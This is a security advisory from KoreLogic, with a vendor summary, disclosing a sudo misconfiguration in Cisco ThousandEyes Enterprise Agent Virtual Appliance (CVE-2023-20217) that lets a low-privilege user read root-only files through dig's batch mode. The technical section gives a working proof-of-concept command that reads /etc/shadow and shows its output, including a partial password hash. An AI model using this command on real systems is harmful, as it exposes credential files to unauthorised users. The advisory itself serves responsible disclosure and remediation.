Headline
Cisco ThousandEyes Enterprise Agent Virtual Appliance Arbitrary File Read
Cisco ThousandEyes Enterprise Agent Virtual Appliance version thousandeyes-va-64-18.04 0.218 has an insecure sudo configuration which permits a low-privilege user to read root-only files via the dig command without a password.
KL-001-2023-001: Cisco ThousandEyes Enterprise Agent Virtual Appliance Arbitrary File Read via sudo digTitle: Cisco ThousandEyes Enterprise Agent Virtual Appliance Arbitrary File Read via sudo digAdvisory ID: KL-001-2023-001Publication Date: 2023.08.17Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2023-001.txt1. Vulnerability Details Affected Vendor: ThousandEyes Affected Product: ThousandEyes Enterprise Agent Virtual Appliance Affected Version: thousandeyes-va-64-18.04 0.218 Platform: Linux / Ubuntu 18.04 CWE Classification: CWE-1395: Dependency on Vulnerable Third-Party Component, CWE-1220: Insufficient Granularity of Access Control CVE ID: CVE-2023-202172. Vulnerability Description An insecure sudo configuration permits a low-privilege user to read root-only files via the 'dig' command without a password.3. Technical Description The ThousandEyes Virtual Appliance is distributed with a restrictive set of commands that can be executed via sudo, without having to provide the password for the 'thousandeyes' account. However, the ability to execute dig via sudo, allows for reading of arbitrary files using dig's "batch" mode. This mode allows a user to specify a file of requests, one per line. The dig command will read the file with elevated privileges and display the resulting queries (i.e. file contents) back to the user. thousandeyes@thousandeyes-va:~$ id uid=1000(thousandeyes) gid=1000(thousandeyes) groups=1000(thousandeyes),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),109(sambashare) thousandeyes@thousandeyes-va:~$ sudo -l Matching Defaults entries for thousandeyes on thousandeyes-va: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User thousandeyes may run the following commands on thousandeyes-va: (ALL : ALL) ALL (ALL) NOPASSWD: /bin/systemctl start te-va, /bin/systemctl stop te-va, /bin/systemctl restart te-va, /bin/systemctl status te-va, /bin/systemctl start te-agent, /bin/systemctl stop te-agent, /bin/systemctl restart te-agent, /bin/systemctl status te-agent, /bin/systemctl start te-browserbot, /bin/systemctl stop te-browserbot, /bin/systemctl restart te-browserbot, /bin/systemctl status te-browserbot, /sbin/reboot, sudoedit /etc/hosts, /usr/bin/dig, /usr/bin/lsof, /usr/bin/apt-get update, /usr/bin/apt-get install te-agent, /usr/bin/apt-get install te-browserbot, /usr/bin/apt-get install te-va, /usr/bin/apt-get install te-pa, /usr/bin/apt-get install te-va-unlock, /usr/bin/apt-get install te-intl-fonts, /usr/bin/apt-get install te-agent-utils, /usr/bin/apt-get install ntpdate, /usr/bin/apt-cache, /usr/bin/te-*, /usr/local/bin/te-*, /usr/local/sbin/te-* (root) NOPASSWD: /usr/sbin/ntpdate, /usr/sbin/traceroute, /usr/sbin/tcpdump Here we see that dig is available as root with no password, and no restrictions on the arguments it can be passed. thousandeyes@thousandeyes-va:~$ sudo /usr/bin/dig -f /etc/shadow ; <<>> DiG 9.11.3-1ubuntu1.17-Ubuntu <<>> root:!:19145:0:99999:7::: ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 40036 ;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1 ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 65494 ;; QUESTION SECTION: ;root:!:19145:0:99999:7:::. IN A ;; Query time: 0 msec ;; SERVER: 127.0.0.53#53(127.0.0.53) ;; WHEN: Fri Mar 31 08:00:38 UTC 2023 ;; MSG SIZE rcvd: 54 ; <<>> DiG 9.11.3-1ubuntu1.17-Ubuntu <<>> daemon:!*:18885:0:99999:7::: ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 32743 ;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1 ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 65494 ;; QUESTION SECTION: ;daemon:!*:18885:0:99999:7:::. IN A ...;thousandeyes:$6$qvB7Zfsh1fFCuBM9$l3X3Gj/7v.IY54N5YMFj5hpd.Fb... ...4. Mitigation and Remediation Recommendation The vendor has released a version which remediates the described vulnerability. Release notes are available at:https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-te-va-priv-esc-PUdgrx8E5. Credit This vulnerability was discovered by Jim Becher and Hank Leininger of KoreLogic, Inc.6. Disclosure Timeline 2023.04.26 - KoreLogic submits vulnerability details to Cisco. 2023.04.26 - Cisco acknowledges receipt and the intention to investigate. 2023.05.04 - Cisco notifies KoreLogic that a remediation for this vulnerability is expected to be available within 90 days. 2023.06.30 - 45 business days have elapsed since KoreLogic reported this vulnerability to the vendor. 2023.07.11 - Cisco informs KoreLogic that the issue has been remediated in the latest ThousandEyes Virtual Appliance and a public advisory will be released 2023.08.16. 2023.07.24 - 60 business days have elapsed since KoreLogic reported this vulnerability to the vendor. 2023.08.09 - Cisco provides KoreLogic with CVE-2023-20217 to track this vulnerability. 2023.08.16 - Cisco public acknowledgement. 2023.08.17 - KoreLogic public disclosure.7. Proof of Concept See 3. Technical Description.The contents of this advisory are copyright(c) 2023KoreLogic, Inc. and are licensed under a Creative CommonsAttribution Share-Alike 4.0 (United States) License:http://creativecommons.org/licenses/by-sa/4.0/KoreLogic, Inc. is a founder-owned and operated company with aproven track record of providing security services to entitiesranging from Fortune 500 to small and mid-sized companies. Weare a highly skilled team of senior security consultants doingby-hand security assessments for the most important networks inthe U.S. and around the world. We are also developers of varioustools and resources aimed at helping the security community.https://www.korelogic.com/about-korelogic.htmlOur public vulnerability disclosure policy is available at:https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.3.txt
Related news
A vulnerability in the CLI of Cisco ThousandEyes Enterprise Agent, Virtual Appliance installation type, could allow an authenticated, local attacker to elevate privileges on an affected device. This vulnerability is due to insufficient input validation by the operating system CLI. An attacker could exploit this vulnerability by issuing certain commands using sudo. A successful exploit could allow the attacker to view arbitrary files as root on the underlying operating system. The attacker must have valid credentials on the affected device.